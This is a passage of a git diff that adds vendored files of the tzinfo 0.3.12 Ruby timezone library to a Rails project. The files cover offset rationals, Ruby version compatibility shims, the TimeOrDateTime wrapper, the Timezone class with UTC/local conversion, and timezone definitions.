a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/offset_rationals.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/offset_rationals.rb new file mode 100644 index 00000000..b1f10b2b --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/offset_rationals.rb @@ -0,0 +1,98 @@ +#-- +# Copyright (c) 2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'rational' +require 'tzinfo/ruby_core_support' + +module TZInfo + + # Provides a method for getting Rationals for a timezone offset in seconds. + # Pre-reduced rationals are returned for all the half-hour intervals between + # -14 and +14 hours to avoid having to call gcd at runtime. + module OffsetRationals #:nodoc: + @@rational_cache = { + -50400 => RubyCoreSupport.rational_new!(-7,12), + -48600 => RubyCoreSupport.rational_new!(-9,16), + -46800 => RubyCoreSupport.rational_new!(-13,24), + -45000 => RubyCoreSupport.rational_new!(-25,48), + -43200 => RubyCoreSupport.rational_new!(-1,2), + -41400 => RubyCoreSupport.rational_new!(-23,48), + -39600 => RubyCoreSupport.rational_new!(-11,24), + -37800 => RubyCoreSupport.rational_new!(-7,16), + -36000 => RubyCoreSupport.rational_new!(-5,12), + -34200 => RubyCoreSupport.rational_new!(-19,48), + -32400 => RubyCoreSupport.rational_new!(-3,8), + -30600 => RubyCoreSupport.rational_new!(-17,48), + -28800 => RubyCoreSupport.rational_new!(-1,3), + -27000 => RubyCoreSupport.rational_new!(-5,16), + -25200 => RubyCoreSupport.rational_new!(-7,24), + -23400 => RubyCoreSupport.rational_new!(-13,48), + -21600 => RubyCoreSupport.rational_new!(-1,4), + -19800 => RubyCoreSupport.rational_new!(-11,48), + -18000 => RubyCoreSupport.rational_new!(-5,24), + -16200 => RubyCoreSupport.rational_new!(-3,16), + -14400 => RubyCoreSupport.rational_new!(-1,6), + -12600 => RubyCoreSupport.rational_new!(-7,48), + -10800 => RubyCoreSupport.rational_new!(-1,8), + -9000 => RubyCoreSupport.rational_new!(-5,48), + -7200 => RubyCoreSupport.rational_new!(-1,12), + -5400 => RubyCoreSupport.rational_new!(-1,16), + -3600 => RubyCoreSupport.rational_new!(-1,24), + -1800 => RubyCoreSupport.rational_new!(-1,48), + 0 => RubyCoreSupport.rational_new!(0,1), + 1800 => RubyCoreSupport.rational_new!(1,48), + 3600 => RubyCoreSupport.rational_new!(1,24), + 5400 => RubyCoreSupport.rational_new!(1,16), + 7200 => RubyCoreSupport.rational_new!(1,12), + 9000 => RubyCoreSupport.rational_new!(5,48), + 10800 => RubyCoreSupport.rational_new!(1,8), + 12600 => RubyCoreSupport.rational_new!(7,48), + 14400 => RubyCoreSupport.rational_new!(1,6), + 16200 => RubyCoreSupport.rational_new!(3,16), + 18000 => RubyCoreSupport.rational_new!(5,24), + 19800 => RubyCoreSupport.rational_new!(11,48), + 21600 => RubyCoreSupport.rational_new!(1,4), + 23400 => RubyCoreSupport.rational_new!(13,48), + 25200 => RubyCoreSupport.rational_new!(7,24), + 27000 => RubyCoreSupport.rational_new!(5,16), + 28800 => RubyCoreSupport.rational_new!(1,3), + 30600 => RubyCoreSupport.rational_new!(17,48), + 32400 => RubyCoreSupport.rational_new!(3,8), + 34200 => RubyCoreSupport.rational_new!(19,48), + 36000 => RubyCoreSupport.rational_new!(5,12), + 37800 => RubyCoreSupport.rational_new!(7,16), + 39600 => RubyCoreSupport.rational_new!(11,24), + 41400 => RubyCoreSupport.rational_new!(23,48), + 43200 => RubyCoreSupport.rational_new!(1,2), + 45000 => RubyCoreSupport.rational_new!(25,48), + 46800 => RubyCoreSupport.rational_new!(13,24), + 48600 => RubyCoreSupport.rational_new!(9,16), + 50400 => RubyCoreSupport.rational_new!(7,12)} + + # Returns a Rational expressing the fraction of a day that offset in + # seconds represents (i.e. equivalent to Rational(offset, 86400)). + def rational_for_offset(offset) + @@rational_cache[offset] || Rational(offset, 86400) + end + module_function :rational_for_offset + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/ruby_core_support.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/ruby_core_support.rb new file mode 100644 index 00000000..b65eeaaa --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/ruby_core_support.rb @@ -0,0 +1,56 @@ +#-- +# Copyright (c) 2008 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'date' +require 'rational' + +module TZInfo + + # Methods to support different versions of Ruby. + module RubyCoreSupport #:nodoc: + + # Use Rational.new! for performance reasons in Ruby 1.8. + # This has been removed from 1.9, but Rational performs better. + if Rational.respond_to? :new! + def self.rational_new!(numerator, denominator = 1) + Rational.new!(numerator, denominator) + end + else + def self.rational_new!(numerator, denominator = 1) + Rational(numerator, denominator) + end + end + + # Ruby 1.8.6 introduced new! and deprecated new0. + # Ruby 1.9.0 removed new0. + # We still need to support new0 for older versions of Ruby. + if DateTime.respond_to? :new! + def self.datetime_new!(ajd = 0, of = 0, sg = Date::ITALY) + DateTime.new!(ajd, of, sg) + end + else + def self.datetime_new!(ajd = 0, of = 0, sg = Date::ITALY) + DateTime.new0(ajd, of, sg) + end + end + end +end \ No newline at end of file diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/time_or_datetime.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/time_or_datetime.rb new file mode 100644 index 00000000..264517f3 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/time_or_datetime.rb @@ -0,0 +1,292 @@ +#-- +# Copyright (c) 2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'date' +require 'time' +require 'tzinfo/offset_rationals' + +module TZInfo + # Used by TZInfo internally to represent either a Time, DateTime or integer + # timestamp (seconds since 1970-01-01 00:00:00). + class TimeOrDateTime #:nodoc: + include Comparable + + # Constructs a new TimeOrDateTime. timeOrDateTime can be a Time, DateTime + # or an integer. If using a Time or DateTime, any time zone information is + # ignored. + def initialize(timeOrDateTime) + @time = nil + @datetime = nil + @timestamp = nil + + if timeOrDateTime.is_a?(Time) + @time = timeOrDateTime + @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec) unless @time.zone == 'UTC' + @orig = @time + elsif timeOrDateTime.is_a?(DateTime) + @datetime = timeOrDateTime + @datetime = @datetime.new_offset(0) unless @datetime.offset == 0 + @orig = @datetime + else + @timestamp = timeOrDateTime.to_i + @orig = @timestamp + end + end + + # Returns the time as a Time. + def to_time + unless @time + if @timestamp + @time = Time.at(@timestamp).utc + else + @time = Time.utc(year, mon, mday, hour, min, sec) + end + end + + @time + end + + # Returns the time as a DateTime. + def to_datetime + unless @datetime + @datetime = DateTime.new(year, mon, mday, hour, min, sec) + end + + @datetime + end + + # Returns the time as an integer timestamp. + def to_i + unless @timestamp + @timestamp = to_time.to_i + end + + @timestamp + end + + # Returns the time as the original time passed to new. + def to_orig + @orig + end + + # Returns a string representation of the TimeOrDateTime. + def to_s + if @orig.is_a?(Time) + "Time: #{@orig.to_s}" + elsif @orig.is_a?(DateTime) + "DateTime: #{@orig.to_s}" + else + "Timestamp: #{@orig.to_s}" + end + end + + # Returns internal object state as a programmer-readable string. + def inspect + "#<#{self.class}: #{@orig.inspect}>" + end + + # Returns the year. + def year + if @time + @time.year + elsif @datetime + @datetime.year + else + to_time.year + end + end + + # Returns the month of the year (1..12). + def mon + if @time + @time.mon + elsif @datetime + @datetime.mon + else + to_time.mon + end + end + alias :month :mon + + # Returns the day of the month (1..n). + def mday + if @time + @time.mday + elsif @datetime + @datetime.mday + else + to_time.mday + end + end + alias :day :mday + + # Returns the hour of the day (0..23). + def hour + if @time + @time.hour + elsif @datetime + @datetime.hour + else + to_time.hour + end + end + + # Returns the minute of the hour (0..59). + def min + if @time + @time.min + elsif @datetime + @datetime.min + else + to_time.min + end + end + + # Returns the second of the minute (0..60). (60 for a leap second). + def sec + if @time + @time.sec + elsif @datetime + @datetime.sec + else + to_time.sec + end + end + + # Compares this TimeOrDateTime with another Time, DateTime, integer + # timestamp or TimeOrDateTime. Returns -1, 0 or +1 depending whether the + # receiver is less than, equal to, or greater than timeOrDateTime. + # + # Milliseconds and smaller units are ignored in the comparison. + def <=>(timeOrDateTime) + if timeOrDateTime.is_a?(TimeOrDateTime) + orig = timeOrDateTime.to_orig + + if @orig.is_a?(DateTime) || orig.is_a?(DateTime) + # If either is a DateTime, assume it is there for a reason + # (i.e. for range). + to_datetime <=> timeOrDateTime.to_datetime + elsif orig.is_a?(Time) + to_time <=> timeOrDateTime.to_time + else + to_i <=> timeOrDateTime.to_i + end + elsif @orig.is_a?(DateTime) || timeOrDateTime.is_a?(DateTime) + # If either is a DateTime, assume it is there for a reason + # (i.e. for range). + to_datetime <=> TimeOrDateTime.wrap(timeOrDateTime).to_datetime + elsif timeOrDateTime.is_a?(Time) + to_time <=> timeOrDateTime + else + to_i <=> timeOrDateTime.to_i + end + end + + # Adds a number of seconds to the TimeOrDateTime. Returns a new + # TimeOrDateTime, preserving what the original constructed type was. + # If the original type is a Time and the resulting calculation goes out of + # range for Times, then an exception will be raised by the Time class. + def +(seconds) + if seconds == 0 + self + else + if @orig.is_a?(DateTime) + TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds)) + else + # + defined for Time and integer timestamps + TimeOrDateTime.new(@orig + seconds) + end + end + end + + # Subtracts a number of seconds from the TimeOrDateTime. Returns a new + # TimeOrDateTime, preserving what the original constructed type was. + # If the original type is a Time and the resulting calculation goes out of + # range for Times, then an exception will be raised by the Time class. + def -(seconds) + self + (-seconds) + end + + # Similar to the + operator, but for cases where adding would cause a + # timestamp or time to go out of the allowed range, converts to a DateTime + # based TimeOrDateTime. + def add_with_convert(seconds) + if seconds == 0 + self + else + if @orig.is_a?(DateTime) + TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds)) + else + # A Time or timestamp. + result = to_i + seconds + + if result < 0 || result > 2147483647 + result = TimeOrDateTime.new(to_datetime + OffsetRationals.rational_for_offset(seconds)) + else + result = TimeOrDateTime.new(@orig + seconds) + end + end + end + end + + # Returns true if todt represents the same time and was originally + # constructed with the same type (DateTime, Time or timestamp) as this + # TimeOrDateTime. + def eql?(todt) + todt.respond_to?(:to_orig) && to_orig.eql?(todt.to_orig) + end + + # Returns a hash of this TimeOrDateTime. + def hash + @orig.hash + end + + # If no block is given, returns a TimeOrDateTime wrapping the given + # timeOrDateTime. If a block is specified, a TimeOrDateTime is constructed + # and passed to the block. The result of the block must be a TimeOrDateTime. + # to_orig will be called on the result and the result of to_orig will be + # returned. + # + # timeOrDateTime can be a Time, DateTime, integer timestamp or TimeOrDateTime. + # If a TimeOrDateTime is passed in, no new TimeOrDateTime will be constructed, + # the passed in value will be used. + def self.wrap(timeOrDateTime) + t = timeOrDateTime.is_a?(TimeOrDateTime) ? timeOrDateTime : TimeOrDateTime.new(timeOrDateTime) + + if block_given? + t = yield t + + if timeOrDateTime.is_a?(TimeOrDateTime) + t + elsif timeOrDateTime.is_a?(Time) + t.to_time + elsif timeOrDateTime.is_a?(DateTime) + t.to_datetime + else + t.to_i + end + else + t + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone.rb new file mode 100644 index 00000000..f87fb6fb --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone.rb @@ -0,0 +1,508 @@ +#-- +# Copyright (c) 2005-2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'date' +# require 'tzinfo/country' +require 'tzinfo/time_or_datetime' +require 'tzinfo/timezone_period' + +module TZInfo + # Indicate a specified time in a local timezone has more than one + # possible time in UTC. This happens when switching from daylight savings time + # to normal time where the clocks are rolled back. Thrown by period_for_local + # and local_to_utc when using an ambiguous time and not specifying any + # means to resolve the ambiguity. + class AmbiguousTime < StandardError + end + + # Thrown to indicate that no TimezonePeriod matching a given time could be found. + class PeriodNotFound < StandardError + end + + # Thrown by Timezone#get if the identifier given is not valid. + class InvalidTimezoneIdentifier < StandardError + end + + # Thrown if an attempt is made to use a timezone created with Timezone.new(nil). + class UnknownTimezone < StandardError + end + + # Timezone is the base class of all timezones. It provides a factory method + # get to access timezones by identifier. Once a specific Timezone has been + # retrieved, DateTimes, Times and timestamps can be converted between the UTC + # and the local time for the zone. For example: + # + # tz = TZInfo::Timezone.get('America/New_York') + # puts tz.utc_to_local(DateTime.new(2005,8,29,15,35,0)).to_s + # puts tz.local_to_utc(Time.utc(2005,8,29,11,35,0)).to_s + # puts tz.utc_to_local(1125315300).to_s + # + # Each time conversion method returns an object of the same type it was + # passed. + # + # The timezone information all comes from the tz database + # (see http://www.twinsun.com/tz/tz-link.htm) + class Timezone + include Comparable + + # Cache of loaded zones by identifier to avoid using require if a zone + # has already been loaded. + @@loaded_zones = {} + + # Whether the timezones index has been loaded yet. + @@index_loaded = false + + # Returns a timezone by its identifier (e.g. "Europe/London", + # "America/Chicago" or "UTC"). + # + # Raises InvalidTimezoneIdentifier if the timezone couldn't be found. + def self.get(identifier) + instance = @@loaded_zones[identifier] + unless instance + raise InvalidTimezoneIdentifier, 'Invalid identifier' if identifier !~ /^[A-z0-9\+\-_]+(\/[A-z0-9\+\-_]+)*$/ + identifier = identifier.gsub(/-/, '__m__').gsub(/\+/, '__p__') + begin + # Use a temporary variable to avoid an rdoc warning + file = "tzinfo/definitions/#{identifier}" + require file + + m = Definitions + identifier.split(/\//).each {|part| + m = m.const_get(part) + } + + info = m.get + + # Could make Timezone subclasses register an interest in an info + # type. Since there are currently only two however, there isn't + # much point. + if info.kind_of?(DataTimezoneInfo) + instance = DataTimezone.new(info) + elsif info.kind_of?(LinkedTimezoneInfo) + instance = LinkedTimezone.new(info) + else + raise InvalidTimezoneIdentifier, "No handler for info type #{info.class}" + end + + @@loaded_zones[instance.identifier] = instance + rescue LoadError, NameError => e + raise InvalidTimezoneIdentifier, e.message + end + end + + instance + end + + # Returns a proxy for the Timezone with the given identifier. The proxy + # will cause the real timezone to be loaded when an attempt is made to + # find a period or convert a time. get_proxy will not validate the + # identifier. If an invalid identifier is specified, no exception will be + # raised until the proxy is used. + def self.get_proxy(identifier) + TimezoneProxy.new(identifier) + end + + # If identifier is nil calls super(), otherwise calls get. An identfier + # should always be passed in when called externally. + def self.new(identifier = nil) + if identifier + get(identifier) + else + super() + end + end + + # Returns an array containing all the available Timezones. + # + # Returns TimezoneProxy objects to avoid the overhead of loading Timezone + # definitions until a conversion is actually required. + def self.all + get_proxies(all_identifiers) + end + + # Returns an array containing the identifiers of all the available + # Timezones. + def self.all_identifiers + load_index + Indexes::Timezones.timezones + end + + # Returns an array containing all the available Timezones that are based + # on data (are not links to other Timezones). + # + # Returns TimezoneProxy objects to avoid the overhead of loading Timezone + # definitions until a conversion is actually required. + def self.all_data_zones + get_proxies(all_data_zone_identifiers) + end + + # Returns an array containing the identifiers of all the available + # Timezones that are based on data (are not links to other Timezones).. + def self.all_data_zone_identifiers + load_index + Indexes::Timezones.data_timezones + end + + # Returns an array containing all the available Timezones that are links + # to other Timezones. + # + # Returns TimezoneProxy objects to avoid the overhead of loading Timezone + # definitions until a conversion is actually required. + def self.all_linked_zones + get_proxies(all_linked_zone_identifiers) + end + + # Returns an array containing the identifiers of all the available + # Timezones that are links to other Timezones. + def self.all_linked_zone_identifiers + load_index + Indexes::Timezones.linked_timezones + end + + # Returns all the Timezones defined for all Countries. This is not the + # complete set of Timezones as some are not country specific (e.g. + # 'Etc/GMT'). + # + # Returns TimezoneProxy objects to avoid the overhead of loading Timezone + # definitions until a conversion is actually required. + def self.all_country_zones + Country.all_codes.inject([]) {|zones,country| + zones += Country.get(country).zones + } + end + + # Returns all the zone identifiers defined for all Countries. This is not the + # complete set of zone identifiers as some are not country specific (e.g. + # 'Etc/GMT'). You can obtain a Timezone instance for a given identifier + # with the get method. + def self.all_country_zone_identifiers + Country.all_codes.inject([]) {|zones,country| + zones += Country.get(country).zone_identifiers + } + end + + # Returns all US Timezone instances. A shortcut for + # TZInfo::Country.get('US').zones. + # + # Returns TimezoneProxy objects to avoid the overhead of loading Timezone + # definitions until a conversion is actually required. + def self.us_zones + Country.get('US').zones + end + + # Returns all US zone identifiers. A shortcut for + # TZInfo::Country.get('US').zone_identifiers. + def self.us_zone_identifiers + Country.get('US').zone_identifiers + end + + # The identifier of the timezone, e.g. "Europe/Paris". + def identifier + raise UnknownTimezone, 'TZInfo::Timezone constructed directly' + end + + # An alias for identifier. + def name + # Don't use alias, as identifier gets overridden. + identifier + end + + # Returns a friendlier version of the identifier. + def to_s + friendly_identifier + end + + # Returns internal object state as a programmer-readable string. + def inspect + "#<#{self.class}: #{identifier}>" + end + + # Returns a friendlier version of the identifier. Set skip_first_part to + # omit the first part of the identifier (typically a region name) where + # there is more than one part. + # + # For example: + # + # Timezone.get('Europe/Paris').friendly_identifier(false) #=> "Europe - Paris" + # Timezone.get('Europe/Paris').friendly_identifier(true) #=> "Paris" + # Timezone.get('America/Indiana/Knox').friendly_identifier(false) #=> "America - Knox, Indiana" + # Timezone.get('America/Indiana/Knox').friendly_identifier(true) #=> "Knox, Indiana" + def friendly_identifier(skip_first_part = false) + parts = identifier.split('/') + if parts.empty? + # shouldn't happen + identifier + elsif parts.length == 1 + parts[0] + else + if skip_first_part + result = '' + else + result = parts[0] + ' - ' + end + + parts[1, parts.length - 1].reverse_each {|part| + part.gsub!(/_/, ' ') + + if part.index(/[a-z]/) + # Missing a space if a lower case followed by an upper case and the + # name isn't McXxxx. + part.gsub!(/([^M][a-z])([A-Z])/, '\1 \2') + part.gsub!(/([M][a-bd-z])([A-Z])/, '\1 \2') + + # Missing an apostrophe if two consecutive upper case characters. + part.gsub!(/([A-Z])([A-Z])/, '\1\'\2') + end + + result << part + result << ', ' + } + + result.slice!(result.length - 2, 2) + result + end + end + + # Returns the TimezonePeriod for the given UTC time. utc can either be + # a DateTime, Time or integer timestamp (Time.to_i). Any timezone + # information in utc is ignored (it is treated as a UTC time). + def period_for_utc(utc) + raise UnknownTimezone, 'TZInfo::Timezone constructed directly' + end + + # Returns the set of TimezonePeriod instances that are valid for the given + # local time as an array. If you just want a single period, use + # period_for_local instead and specify how ambiguities should be resolved. + # Returns an empty array if no periods are found for the given time. + def periods_for_local(local) + raise UnknownTimezone, 'TZInfo::Timezone constructed directly' + end + + # Returns the TimezonePeriod for the given local time. local can either be + # a DateTime, Time or integer timestamp (Time.to_i). Any timezone + # information in local is ignored (it is treated as a time in the current + # timezone). + # + # Warning: There are local times that have no equivalent UTC times (e.g. + # in the transition from standard time to daylight savings time). There are + # also local times that have more than one UTC equivalent (e.g. in the + # transition from daylight savings time to standard time). + # + # In the first case (no equivalent UTC time), a PeriodNotFound exception + # will be raised. + # + # In the second case (more than one equivalent UTC time), an AmbiguousTime + # exception will be raised unless the optional dst parameter or block + # handles the ambiguity. + # + # If the ambiguity is due to a transition from daylight savings time to + # standard time, the dst parameter can be used to select whether the + # daylight savings time or local time is used. For example, + # + # Timezone.get('America/New_York').period_for_local(DateTime.new(2004,10,31,1,30,0)) + # + # would raise an AmbiguousTime exception. + # + # Specifying dst=true would the daylight savings period from April to + # October 2004. Specifying dst=false would return the standard period + # from October 2004 to April 2005. + # + # If the dst parameter does not resolve the ambiguity, and a block is + # specified, it is called. The block must take a single parameter - an + # array of the periods that need to be resolved. The block can select and + # return a single period or return nil or an empty array + # to cause an AmbiguousTime exception to be raised. + def period_for_local(local, dst = nil) + results = periods_for_local(local) + + if results.empty? + raise PeriodNotFound + elsif results.size < 2 + results.first + else + # ambiguous result try to resolve + + if !dst.nil? + matches = results.find_all {|period| period.dst? == dst} + results = matches if !matches.empty? + end + + if results.size < 2 + results.first + else + # still ambiguous, try the block + + if block_given? + results = yield results + end + + if results.is_a?(TimezonePeriod) + results + elsif results && results.size == 1 + results.first + else + raise AmbiguousTime, "#{local} is an ambiguous local time." + end + end + end + end + + # Converts a time in UTC to the local timezone. utc can either be + # a DateTime, Time or timestamp (Time.to_i). The returned time has the same + # type as utc. Any timezone information in utc is ignored (it is treated as + # a UTC time). + def utc_to_local(utc) + TimeOrDateTime.wrap(utc) {|wrapped| + period_for_utc(wrapped).to_local(wrapped) + } + end + + # Converts a time in the local timezone to UTC. local can either be + # a DateTime, Time or timestamp (Time.to_i). The returned time has the same + # type as local. Any timezone information in local is ignored (it is treated + # as a local time). + # + # Warning: There are local times that have no equivalent UTC times (e.g. + # in the transition from standard time to daylight savings time). There are + # also local times that have more than one UTC equivalent (e.g. in the + # transition from daylight savings time to standard time). + # + # In the first case (no equivalent UTC time), a PeriodNotFound exception + # will be raised. + # + # In the second case (more than one equivalent UTC time), an AmbiguousTime + # exception will be raised unless the optional dst parameter or block + # handles the ambiguity. + # + # If the ambiguity is due to a transition from daylight savings time to + # standard time, the dst parameter can be used to select whether the + # daylight savings time or local time is used. For example, + # + # Timezone.get('America/New_York').local_to_utc(DateTime.new(2004,10,31,1,30,0)) + # + # would raise an AmbiguousTime exception. + # + # Specifying dst=true would return 2004-10-31 5:30:00. Specifying dst=false + # would return 2004-10-31 6:30:00. + # + # If the dst parameter does not resolve the ambiguity, and a block is + # specified, it is called. The block must take a single parameter - an + # array of the periods that need to be resolved. The block can return a + # single period to use to convert the time or return nil or an empty array + # to cause an AmbiguousTime exception to be raised. + def local_to_utc(local, dst = nil) + TimeOrDateTime.wrap(local) {|wrapped| + if block_given? + period = period_for_local(wrapped, dst) {|periods| yield periods } + else + period = period_for_local(wrapped, dst) + end + + period.to_utc(wrapped) + } + end + + # Returns the current time in the timezone as a Time. + def now + utc_to_local(Time.now.utc) + end + + # Returns the TimezonePeriod for the current time. + def current_period + period_for_utc(Time.now.utc) + end + + # Returns the current Time and TimezonePeriod as an array. The first element + # is the time, the second element is the period. + def current_period_and_time + utc = Time.now.utc + period = period_for_utc(utc) + [period.to_local(utc), period] + end + + alias :current_time_and_period :current_period_and_time + + # Converts a time in UTC to local time and returns it as a string + # according to the given format. The formatting is identical to + # Time.strftime and DateTime.strftime, except %Z is replaced with the + # timezone abbreviation for the specified time (for example, EST or EDT). + def strftime(format, utc = Time.now.utc) + period = period_for_utc(utc) + local = period.to_local(utc) + local = Time.at(local).utc unless local.kind_of?(Time) || local.kind_of?(DateTime) + abbreviation = period.abbreviation.to_s.gsub(/%/, '%%') + + format = format.gsub(/(.?)%Z/) do + if $1 == '%' + # return %%Z so the real strftime treats it as a literal %Z too + '%%Z' + else + "#$1#{abbreviation}" + end + end + + local.strftime(format) + end + + # Compares two Timezones based on their identifier. Returns -1 if tz is less + # than self, 0 if tz is equal to self and +1 if tz is greater than self. + def <=>(tz) + identifier <=> tz.identifier + end + + # Returns true if and only if the identifier of tz is equal to the + # identifier of this Timezone. + def eql?(tz) + self == tz + end + + # Returns a hash of this Timezone. + def hash + identifier.hash + end + + # Dumps this Timezone for marshalling. + def _dump(limit) + identifier + end + + # Loads a marshalled Timezone. + def self._load(data) + Timezone.get(data) + end + + private + # Loads in the index of timezones if it hasn't already been loaded. + def self.load_index + unless @@index_loaded + require 'tzinfo/indexes/timezones' + @@index_loaded = true + end + end + + # Returns an array of proxies corresponding to the given array of + # identifiers. + def self.get_proxies(identifiers) + identifiers.collect {|identifier| get_proxy(identifier)} + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_definition.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_definition.rb new file mode 100644 index 00000000..39ca8bfa --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/timezone_definition.rb @@ -0,0 +1,56 @@ +#-- +# Copyright (c) 2006 Philip Ross +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +#++ + +require 'tzinfo/data_timezone_info' +require 'tzinfo/linked_timezone_info' + +module TZInfo + + # TimezoneDefinition is included into Timezone definition modules. + # TimezoneDefinition provides the methods for defining timezones. + module TimezoneDefinition #:nodoc: + # Add class methods to the includee. + def self.append_features(base) + super + base.extend(ClassMethods) + end + + # Class methods for inclusion. + module ClassMethods #:nodoc: + # Returns and yields a DataTimezoneInfo object to define a timezone. + def timezone(identifier) + yield @timezone = DataTimezoneInfo.new(identifier) + end + + # Defines a linked timezone. + def linked_timezone(identifier, link_to_identifier) + @timezone = LinkedTimezoneInfo.new(identifier, link_to_identifier) + end + + # Returns the last TimezoneInfo to be defined with timezone or + # linked_timezone. + def get + @timezone + end + end + end +end diff --git 